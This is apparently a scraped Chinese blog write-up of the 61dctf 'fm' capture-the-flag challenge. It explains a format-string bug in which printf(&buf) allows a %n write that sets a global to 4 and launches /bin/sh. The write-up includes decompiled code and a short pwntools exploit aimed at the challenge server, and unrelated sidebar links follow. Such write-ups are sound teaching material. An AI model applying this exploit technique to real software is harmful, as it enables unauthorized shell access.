当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895

checksec Canary found栈溢出行不通

main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11


通过动态调试,把x的值设置为0x4,运行后确实得到shell


exp

from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- Which keywords will conflict with the abstract keyword
- [深度学习][原创]让yolov6-0.1.0支持yolov5的txt读取数据集模式
- 国泰君安网上开户安全吗
- BS-XX-042 基于SSM实现人事管理系统
- Flet教程之 11 Row组件在水平数组中显示其子项的控件 基础入门(教程含源码)
- Sentinel-流量防卫兵
- Accès aux données - intégration du cadre d'entité
- sqlserver 做cdc 要对数据库性能有什么要求么
- 给自己打打气
- Single merchant v4.4 has the same original intention and strength!
猜你喜欢

Desci: is decentralized science the new trend of Web3.0?

Win11 prompt: what if the software cannot be downloaded safely? Win11 cannot download software safely

OneForAll安装使用

Single merchant v4.4 has the same original intention and strength!

服务器的数据库连不上了2003,10060“Unknown error“【服务已起、防火墙已关、端口已开、netlent 端口不通】

降本40%!Redis多租户集群的容器化实践

ES6 deep - ES6 class class

Research and development efficiency measurement index composition and efficiency measurement methodology

Starkware: to build ZK "universe"

How to set the WiFi password of the router on the computer
随机推荐
Record a 'very strange' troubleshooting process of cloud security group rules
Flet tutorial 12 stack overlapping to build a basic introduction to graphic and text mixing (tutorial includes source code)
Seaborn绘制11个柱状图
Reduce the cost by 40%! Container practice of redis multi tenant cluster
Cartoon: what is service fusing?
二叉树相关OJ题
Detailed explanation of use scenarios and functions of polar coordinate sector diagram
漫画:什么是八皇后问题?
Cheer yourself up
效果编辑器新版上线!3D渲染、加标注、设置动画,这次一个编辑器就够了
Basic introduction to the control of the row component displaying its children in the horizontal array (tutorial includes source code)
Which keywords will conflict with the abstract keyword
如何安装mysql
The difference between abstract classes and interfaces
Apiccloud cloud debugging solution
Win11 prompt: what if the software cannot be downloaded safely? Win11 cannot download software safely
记一次'非常诡异'的云安全组规则问题排查过程
帮忙看看是什么问题可以吗?[ERROR] Could not execute SQL stateme
Desci: is decentralized science the new trend of Web3.0?
Relationship between objects and classes